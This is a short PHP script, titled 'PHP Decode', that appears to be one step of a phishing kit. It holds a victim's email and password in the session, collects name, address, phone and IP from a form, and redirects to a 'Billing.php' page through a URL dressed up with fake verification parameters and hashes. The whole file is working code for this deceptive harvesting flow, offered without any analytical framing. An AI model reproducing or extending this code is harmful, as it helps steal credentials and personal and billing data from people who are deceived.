PHP Decode

<?php 
ini_set("output_buffering",4096); 
session_start(); 
 
 
$_SESSION['TheEmail']; 
 
$_SESSION['ThePassword']; 
 
$_SESSION['errors'] = $errors=0; 
 
 
$_SESSION['FullNamer'] = $FullNamer = $_POST['FullNamer']; 
$_SESSION['Address11'] = $Address11 = $_POST['Address11']; 
$_SESSION['Address2'] = $Address2 = $_POST['Address2']; 
$_SESSION['CityName'] = $CityName = $_POST['CityName']; 
$_SESSION['StateN'] = $StateN = $_POST['StateN']; 
$_SESSION['ip_header'] = $ip_header = $_POST['ip_header']; 
$_SESSION['ZipCode'] = $ZipCode = $_POST['ZipCode']; 
$_SESSION['CountryNa'] = $CountryNa = $_POST['CountryNa']; 
$_SESSION['Phone221'] = $Phone221 = $_POST['Phone221']; 
$_SESSION['AddressTypea'] = $AddressTypea = $_POST['AddressTypea']; 
 
$ip = $_SERVER['REMOTE_ADDR']; 
 
 
 
if ($FullNamer=="") 
{ 
$FullName=1; 
} 
else 
{ 
$FullName=0; 
} 
 
 
if ($Address11=="") 
{ 
$Address1=1; 
} 
else 
{ 
$Address1=0; 
} 
 
 
if ($CityName=="") 
{ 
$City=1; 
} 
else 
{ 
$City=0; 
} 
 
 
if ($StateN=="") 
{ 
$State=1; 
} 
else 
{ 
$State=0; 
} 
 
 
 
 
if ($ZipCode=="") 
{ 
$Zip=1; 
} 
else 
{ 
$Zip=0; 
} 
 
 
 
if ($CountryNa=="") 
{ 
$Country=1; 
} 
else 
{ 
$Country=0; 
} 
 
 
 
 
if ($Phone221=="") 
{ 
$Phone=1; 
} 
else 
{ 
$Phone=0; 
} 
 
 
if ($AddressTypea=="OTH") 
{ 
$AddressTypeq=1; 
} 
else 
{ 
$AddressTypeq=0; 
} 
 
 
 
if ($FullName==1||$Address1==1||$City==1||$State==1||$Zip==1||$Country==1||$Phone||$AddressTypeq==1) 
 
{ 
$errors=1; 
} 
else{ 
$errors=0; 
} 
 
 
 
if ($errors==0) 
{ 
$encoding_url="Billing.php?action=billing_verification=true&_session;".md5(time()).md5(time()); 
header("Location: $encoding_url"); 
} 
 
else 
{ 
header("Location: detalis.php?errors=$errors&FullName=$FullName&Address1=$Address1&City=$City&State=$State&Zip=$Zip&Country=$Country&Phone=$Phone&AddressTypeq=$AddressTypeq"); 
} 
 
 ?>